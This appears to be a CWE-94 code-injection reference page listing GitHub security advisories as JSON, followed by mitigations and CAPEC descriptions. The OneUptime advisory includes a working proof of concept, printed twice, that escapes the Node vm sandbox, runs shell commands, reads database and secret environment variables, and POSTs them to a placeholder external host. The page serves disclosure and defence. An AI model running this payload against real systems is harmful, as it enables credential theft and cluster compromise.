CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8272 vulnerabilities reference this CWE, most recent first.
GHSA-H2PH-X33P-JMPM
Vulnerability from github – Published: 2024-03-21 06:33 – Updated: 2024-08-06 18:30An issue was discovered in osCommerce v4, allows local attackers to bypass file upload restrictions and execute arbitrary code via administrator profile photo upload feature.
{
"affected": [],
"aliases": [
"CVE-2024-22724"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-21T04:15:09Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in osCommerce v4, allows local attackers to bypass file upload restrictions and execute arbitrary code via administrator profile photo upload feature.",
"id": "GHSA-h2ph-x33p-jmpm",
"modified": "2024-08-06T18:30:49Z",
"published": "2024-03-21T06:33:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22724"
},
{
"type": "WEB",
"url": "https://github.com/osCommerce/osCommerce-V4/issues/62"
},
{
"type": "WEB",
"url": "https://medium.com/%40cupc4k3/oscommerce-v4-rce-unveiling-the-file-upload-bypass-threat-f1ac0097880c"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-H2R3-PPVC-PVWH
Vulnerability from github – Published: 2022-05-13 01:14 – Updated: 2022-05-13 01:14Static code injection vulnerability in admin/admin.php in Sphider 1.3.6 allows remote authenticated users to inject arbitrary PHP code into settings/conf.php via the _word_upper_bound parameter.
{
"affected": [],
"aliases": [
"CVE-2014-5194"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-08-07T11:13:00Z",
"severity": "MODERATE"
},
"details": "Static code injection vulnerability in admin/admin.php in Sphider 1.3.6 allows remote authenticated users to inject arbitrary PHP code into settings/conf.php via the _word_upper_bound parameter.",
"id": "GHSA-h2r3-ppvc-pvwh",
"modified": "2022-05-13T01:14:03Z",
"published": "2022-05-13T01:14:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-5194"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/159715/Sphider-Search-Engine-1.3.6-Remote-Code-Execution.html"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/34189"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-H343-GG57-2Q67
Vulnerability from github – Published: 2026-03-07 02:30 – Updated: 2026-03-10 18:44Summary
OneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js vm module. By leveraging a standard prototype-chain escape (this.constructor.constructor), an attacker can bypass the sandbox, gain access to the underlying Node.js process object, and execute arbitrary system commands (RCE) on the oneuptime-probe container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise.
Details
The root cause of the vulnerability exists in Common/Server/Utils/VM/VMRunner.ts where user-supplied JavaScript is executed using vm.runInContext():
const vmPromise = vm.runInContext(script, sandbox, { ... });
The Node.js documentation explicitly warns that the vm module is not a security boundary and should never be used to run untrusted code.
When a user creates a Synthetic Monitor, the code inputted into the Playwright script editor is passed directly to this backend function without any AST filtering or secure isolation (e.g., isolated-vm or a dedicated restricted container).
An attacker can use the payload const proc = this.constructor.constructor('return process')(); to step out of the sandbox context and grab the host's native process object. From there, they can require child_process to execute arbitrary shell commands.
Since the oneuptime-probe service runs with access to sensitive environment variables (such as ONEUPTIME_SECRET, DATABASE_PASSWORD, etc.), an attacker can trivially exfiltrate these secrets to an external server.
PoC
This exploit can be triggered entirely through the OneUptime web dashboard GUI by any user with at least "Project Member" permissions.
- Log In: Authenticate to the OneUptime Dashboard. (Open registration is enabled by default).
- Navigate: Go to Monitors > Create New Monitor.
- Monitor Type: Select Synthetic Monitor.
- Browser/Screen Settings: Ensure Chromium is selected for "Browser Types" and Desktop is selected for "Screen Size Types".
- Payload Injection: Scroll down to the "Playwright Code" editor. Delete the default template and paste the following malicious JavaScript payload:
return new Promise((resolve) => {
try {
// 1. Traverse the prototype chain to grab the host's process object
const proc = this.constructor.constructor('return process')();
// 2. Load the host's child_process module & run a system command
const cp = proc.mainModule.require('child_process');
const output = cp.execSync('ls -la /usr/src/app').toString();
// 3. (Optional) Read sensitive environment secrets
const secret = proc.env.ONEUPTIME_SECRET;
const db_pass = proc.env.DATABASE_PASSWORD;
// 4. Exfiltrate the data via the native `http` module
const http_real = proc.mainModule.require('http');
const req = http_real.request({
hostname: 'YOUR_OAST_OR_BURP_COLLABORATOR_URL_HERE',
port: 80,
path: '/',
method: 'POST'
}, (res) => {
resolve("EXFILTRATION_STATUS: " + res.statusCode);
});
req.on('error', (e) => resolve("EXFILTRATION_ERROR: " + e.message));
const payloadData = JSON.stringify({ rce_output: output, secret: secret, db: db_pass });
req.write(payloadData);
req.end();
} catch(e) {
resolve("CRITICAL_ERROR: " + e.message);
}
});
- Save & Execute: Click Save. Within 60 seconds, the probe worker will pick up the monitor, execute the code, and send the RCE output to your external listener URL.
OUTPUT:
{"rce_output":"total 296\ndrwxr-xr-x 1 root root 4096 Mar 3 18:27 .\ndrwxr-xr-x 1 root root 4096 Mar 3 18:26 ..\n-rw-r--r-- 1 root root 16 Mar 3 18:24 .gitattributes\n-rwxr-xr-x 1 root root 403 Mar 3 18:24 .gitignore\ndrwxr-xr-x 2 root root 4096 Mar 3 18:24 API\n-rw-r--r-- 1 root root 4103 Mar 3 18:24 Config.ts\n-rw-r--r-- 1 root root 2602 Mar 3 18:24 Dockerfile\n-rw-r--r-- 1 root root 2705 Mar 3 18:24 Dockerfile.tpl\n-rw-r--r-- 1 root root 2935 Mar 3 18:24 Index.ts\ndrwxr-xr-x 3 root root 4096 Mar 3 18:24 Jobs\ndrwxr-xr-x 2 root root 4096 Mar 3 18:24 Services\ndrwxr-xr-x 4 root root 4096 Mar 3 18:24 Tests\ndrwxr-xr-x 3 root root 4096 Mar 3 18:24 Utils\ndrwxr-xr-x 3 root root 4096 Mar 3 18:27 build\n-rw-r--r-- 1 root root 889 Mar 3 18:24 jest.config.json\ndrwxr-xr-x 297 root root 12288 Mar 3 18:26 node_modules\n-rw-r--r-- 1 root root 353 Mar 3 18:24 nodemon.json\n-rw-r--r-- 1 root root 203119 Mar 3 18:24 package-lock.json\n-rw-r--r-- 1 root root 1481 Mar 3 18:24 package.json\n-rw-r--r-- 1 root root 11514 Mar 3 18:24 tsconfig.json\n"}
Impact
What kind of vulnerability is it? Remote Code Execution (RCE) / Code Injection / Sandbox Escape.
Who is impacted? Any OneUptime deployment running version <= 10.0.0. Since open registration is enabled by default, an external, unauthenticated attacker can create an account, create a project, and instantly compromise the entire cluster.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@oneuptime/common"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.0.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30887"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-07T02:30:09Z",
"nvd_published_at": "2026-03-10T17:40:14Z",
"severity": "CRITICAL"
},
"details": "### Summary\nOneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js `vm` module. By leveraging a standard prototype-chain escape (`this.constructor.constructor`), an attacker can bypass the sandbox, gain access to the underlying Node.js `process` object, and execute arbitrary system commands (RCE) on the `oneuptime-probe` container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise.\n\n### Details\nThe root cause of the vulnerability exists in [Common/Server/Utils/VM/VMRunner.ts](oneuptime/Common/Server/Utils/VM/VMRunner.ts) where user-supplied JavaScript is executed using `vm.runInContext()`:\n\n```typescript\nconst vmPromise = vm.runInContext(script, sandbox, { ... });\n```\n\nThe Node.js documentation explicitly warns that the `vm` module is not a security boundary and should never be used to run untrusted code. \n\nWhen a user creates a **Synthetic Monitor**, the code inputted into the Playwright script editor is passed directly to this backend function without any AST filtering or secure isolation (e.g., `isolated-vm` or a dedicated restricted container). \n\nAn attacker can use the payload `const proc = this.constructor.constructor(\u0027return process\u0027)();` to step out of the sandbox context and grab the host\u0027s native `process` object. From there, they can require `child_process` to execute arbitrary shell commands. \n\nSince the `oneuptime-probe` service runs with access to sensitive environment variables (such as `ONEUPTIME_SECRET`, `DATABASE_PASSWORD`, etc.), an attacker can trivially exfiltrate these secrets to an external server.\n\n### PoC\nThis exploit can be triggered entirely through the OneUptime web dashboard GUI by any user with at least \"Project Member\" permissions.\n\n1. **Log In**: Authenticate to the OneUptime Dashboard. (Open registration is enabled by default).\n2. **Navigate**: Go to **Monitors** \u003e **Create New Monitor**.\n3. **Monitor Type**: Select **Synthetic Monitor**.\n4. **Browser/Screen Settings**: Ensure **Chromium** is selected for \"Browser Types\" and **Desktop** is selected for \"Screen Size Types\".\n5. **Payload Injection**: Scroll down to the \"Playwright Code\" editor. Delete the default template and paste the following malicious JavaScript payload:\n\n```javascript\nreturn new Promise((resolve) =\u003e {\n try {\n // 1. Traverse the prototype chain to grab the host\u0027s process object\n const proc = this.constructor.constructor(\u0027return process\u0027)();\n \n // 2. Load the host\u0027s child_process module \u0026 run a system command\n const cp = proc.mainModule.require(\u0027child_process\u0027);\n const output = cp.execSync(\u0027ls -la /usr/src/app\u0027).toString();\n \n // 3. (Optional) Read sensitive environment secrets\n const secret = proc.env.ONEUPTIME_SECRET;\n const db_pass = proc.env.DATABASE_PASSWORD;\n \n // 4. Exfiltrate the data via the native `http` module\n const http_real = proc.mainModule.require(\u0027http\u0027);\n const req = http_real.request({ \n hostname: \u0027YOUR_OAST_OR_BURP_COLLABORATOR_URL_HERE\u0027, \n port: 80, \n path: \u0027/\u0027, \n method: \u0027POST\u0027 \n }, (res) =\u003e {\n resolve(\"EXFILTRATION_STATUS: \" + res.statusCode);\n });\n \n req.on(\u0027error\u0027, (e) =\u003e resolve(\"EXFILTRATION_ERROR: \" + e.message));\n \n const payloadData = JSON.stringify({ rce_output: output, secret: secret, db: db_pass });\n req.write(payloadData);\n req.end();\n } catch(e) {\n resolve(\"CRITICAL_ERROR: \" + e.message);\n }\n});\n```\n\n6. **Save \u0026 Execute**: Click **Save**. Within 60 seconds, the probe worker will pick up the monitor, execute the code, and send the RCE output to your external listener URL.\n\nOUTPUT:\n```\n{\"rce_output\":\"total 296\\ndrwxr-xr-x 1 root root 4096 Mar 3 18:27 .\\ndrwxr-xr-x 1 root root 4096 Mar 3 18:26 ..\\n-rw-r--r-- 1 root root 16 Mar 3 18:24 .gitattributes\\n-rwxr-xr-x 1 root root 403 Mar 3 18:24 .gitignore\\ndrwxr-xr-x 2 root root 4096 Mar 3 18:24 API\\n-rw-r--r-- 1 root root 4103 Mar 3 18:24 Config.ts\\n-rw-r--r-- 1 root root 2602 Mar 3 18:24 Dockerfile\\n-rw-r--r-- 1 root root 2705 Mar 3 18:24 Dockerfile.tpl\\n-rw-r--r-- 1 root root 2935 Mar 3 18:24 Index.ts\\ndrwxr-xr-x 3 root root 4096 Mar 3 18:24 Jobs\\ndrwxr-xr-x 2 root root 4096 Mar 3 18:24 Services\\ndrwxr-xr-x 4 root root 4096 Mar 3 18:24 Tests\\ndrwxr-xr-x 3 root root 4096 Mar 3 18:24 Utils\\ndrwxr-xr-x 3 root root 4096 Mar 3 18:27 build\\n-rw-r--r-- 1 root root 889 Mar 3 18:24 jest.config.json\\ndrwxr-xr-x 297 root root 12288 Mar 3 18:26 node_modules\\n-rw-r--r-- 1 root root 353 Mar 3 18:24 nodemon.json\\n-rw-r--r-- 1 root root 203119 Mar 3 18:24 package-lock.json\\n-rw-r--r-- 1 root root 1481 Mar 3 18:24 package.json\\n-rw-r--r-- 1 root root 11514 Mar 3 18:24 tsconfig.json\\n\"}\n\n```\n\u003cimg width=\"1364\" height=\"470\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9e0d3013-bba5-4188-8777-6903c8f55dba\" /\u003e\n\n\n### Impact\n**What kind of vulnerability is it?** \nRemote Code Execution (RCE) / Code Injection / Sandbox Escape.\n\n**Who is impacted?** \nAny OneUptime deployment running version \u003c= 10.0.0. Since open registration is enabled by default, an external, unauthenticated attacker can create an account, create a project, and instantly compromise the entire cluster.\n\n---",
"id": "GHSA-h343-gg57-2q67",
"modified": "2026-03-10T18:44:03Z",
"published": "2026-03-07T02:30:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-h343-gg57-2q67"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30887"
},
{
"type": "PACKAGE",
"url": "https://github.com/OneUptime/oneuptime"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OneUpTime\u0027s Unsandboxed Code Execution in Probe Allows Any Project Member to Achieve RCE"
}
GHSA-H345-J35X-7HC5
Vulnerability from github – Published: 2024-04-15 15:30 – Updated: 2024-04-15 15:30Vulnerability in WBSAirback 21.02.04, which involves improper neutralisation of Server-Side Includes (SSI), through Device NAS shared section (/admin/DeviceNAS). Exploitation of this vulnerability could allow a remote user to execute arbitrary code.
{
"affected": [],
"aliases": [
"CVE-2024-3785"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-15T14:15:08Z",
"severity": "MODERATE"
},
"details": "Vulnerability in WBSAirback 21.02.04, which involves improper neutralisation of Server-Side Includes (SSI), through Device NAS shared section (/admin/DeviceNAS). Exploitation of this vulnerability could allow a remote user to execute arbitrary code.",
"id": "GHSA-h345-j35x-7hc5",
"modified": "2024-04-15T15:30:56Z",
"published": "2024-04-15T15:30:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3785"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-wbsairback-white-bear-solutions"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-H353-HC43-95VC
Vulnerability from github – Published: 2021-05-18 18:36 – Updated: 2023-09-29 20:11Impact
A user without Script or Programming right is able to execute script requiring privileges by editing gadget titles in the dashboard.
Patches
The issue has been patched in XWiki 12.6.7, 12.10.3 and 13.0RC1.
Workarounds
There's no easy workaround for this issue, it is recommended to upgrade XWiki.
References
https://jira.xwiki.org/browse/XWIKI-17794
For more information
If you have any questions or comments about this advisory: * Open an issue in JIRA * Email us at XWiki security mailing-list
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.commons:xwiki-commons-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "12.6.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.commons:xwiki-commons-core"
},
"ranges": [
{
"events": [
{
"introduced": "12.10.0"
},
{
"fixed": "12.10.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-32621"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-18T16:46:49Z",
"nvd_published_at": "2021-05-28T21:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\nA user without Script or Programming right is able to execute script requiring privileges by editing gadget titles in the dashboard.\n\n### Patches\nThe issue has been patched in XWiki 12.6.7, 12.10.3 and 13.0RC1.\n\n### Workarounds\nThere\u0027s no easy workaround for this issue, it is recommended to upgrade XWiki.\n\n### References\nhttps://jira.xwiki.org/browse/XWIKI-17794\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [JIRA](https://jira.xwiki.org)\n* Email us at [XWiki security mailing-list](mailto:security@xwiki.org)\n",
"id": "GHSA-h353-hc43-95vc",
"modified": "2023-09-29T20:11:43Z",
"published": "2021-05-18T18:36:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-h353-hc43-95vc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32621"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/commit/bb7068bd911f91e5511f3cfb03276c7ac81100bc"
},
{
"type": "PACKAGE",
"url": "https://github.com/xwiki/xwiki-platform"
},
{
"type": "WEB",
"url": "https://jay-from-future.github.io/cve/2021/06/17/xwiki-rce-cve.html"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-17794"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Script injection without script or programming rights through Gadget titles"
}
GHSA-H383-C583-QJPM
Vulnerability from github – Published: 2022-05-01 23:58 – Updated: 2022-05-01 23:58SocialEngine (SE) before 2.83 grants certain write privileges for templates, which allows remote authenticated administrators to execute arbitrary PHP code.
{
"affected": [],
"aliases": [
"CVE-2008-3298"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-07-25T13:41:00Z",
"severity": "MODERATE"
},
"details": "SocialEngine (SE) before 2.83 grants certain write privileges for templates, which allows remote authenticated administrators to execute arbitrary PHP code.",
"id": "GHSA-h383-c583-qjpm",
"modified": "2022-05-01T23:58:44Z",
"published": "2022-05-01T23:58:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-3298"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43959"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/31203"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/4035"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/494638/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.socialengine.net/news.php"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-H394-XCHV-JH49
Vulnerability from github – Published: 2025-01-15 18:30 – Updated: 2025-01-16 18:30An issue in D-Link DWR-M972V 1.05SSG allows a remote attacker to execute arbitrary code via SSH using root account without restrictions
{
"affected": [],
"aliases": [
"CVE-2025-22968"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-15T16:15:42Z",
"severity": "CRITICAL"
},
"details": "An issue in D-Link DWR-M972V 1.05SSG allows a remote attacker to execute arbitrary code via SSH using root account without restrictions",
"id": "GHSA-h394-xchv-jh49",
"modified": "2025-01-16T18:30:59Z",
"published": "2025-01-15T18:30:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22968"
},
{
"type": "WEB",
"url": "https://github.com/CRUNZEX/CVE-2025-22968"
},
{
"type": "WEB",
"url": "https://github.com/CRUNZEX/CVE-DLINK-LTE"
},
{
"type": "WEB",
"url": "https://www.dlink.com/en/security-bulletin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H3C5-F6MH-JRQ6
Vulnerability from github – Published: 2022-05-02 00:05 – Updated: 2022-05-02 00:05orgchart.exe in Microsoft Organization Chart 2.00 allows user-assisted attackers to cause a denial of service (application crash) or possibly execute arbitrary code via a crafted .opx file.
{
"affected": [],
"aliases": [
"CVE-2008-3956"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-09-11T01:13:00Z",
"severity": "HIGH"
},
"details": "orgchart.exe in Microsoft Organization Chart 2.00 allows user-assisted attackers to cause a denial of service (application crash) or possibly execute arbitrary code via a crafted .opx file.",
"id": "GHSA-h3c5-f6mh-jrq6",
"modified": "2022-05-02T00:05:26Z",
"published": "2022-05-02T00:05:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-3956"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/44993"
},
{
"type": "WEB",
"url": "http://www.nullcode.com.ar/ncs/crash/orgchart.htm"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/31059"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-H3CW-G4MQ-C5X2
Vulnerability from github – Published: 2021-12-09 19:14 – Updated: 2022-04-22 18:19This project contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. FasterXML jackson-databind 2.x before 2.9.10.6 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPDataSource (aka Anteros-DBCP).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.9.10.5"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.9.10.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-24616"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-27T17:38:11Z",
"nvd_published_at": "2020-08-25T18:15:00Z",
"severity": "HIGH"
},
"details": "This project contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. FasterXML jackson-databind 2.x before 2.9.10.6 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPDataSource (aka Anteros-DBCP).",
"id": "GHSA-h3cw-g4mq-c5x2",
"modified": "2022-04-22T18:19:50Z",
"published": "2021-12-09T19:14:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24616"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/2814"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/3d97153944f7de9c19c1b3637b33d3cf1fbbe4d7"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2021/04/msg00025.html"
},
{
"type": "WEB",
"url": "https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20200904-0006"
},
{
"type": "WEB",
"url": "https://www.oracle.com//security-alerts/cpujul2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2022.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Code Injection in jackson-databind"
}
GHSA-H3PQ-GC7R-6M6P
Vulnerability from github – Published: 2022-05-14 02:38 – Updated: 2022-05-14 02:38html/index.php in TorrentFlux 2.3 allows remote authenticated users to execute arbitrary code via a URL with a file containing an executable extension in the url_upload parameter, which is downloaded by TorrentFlux and can be accessed via a direct request in a html/downloads/ user directory.
{
"affected": [],
"aliases": [
"CVE-2008-6584"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-04-03T18:30:00Z",
"severity": "MODERATE"
},
"details": "html/index.php in TorrentFlux 2.3 allows remote authenticated users to execute arbitrary code via a URL with a file containing an executable extension in the url_upload parameter, which is downloaded by TorrentFlux and can be accessed via a direct request in a html/downloads/ user directory.",
"id": "GHSA-h3pq-gc7r-6m6p",
"modified": "2022-05-14T02:38:27Z",
"published": "2022-05-14T02:38:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6584"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/41925"
},
{
"type": "WEB",
"url": "http://osvdb.org/44645"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/29935"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/491066/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/28846"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.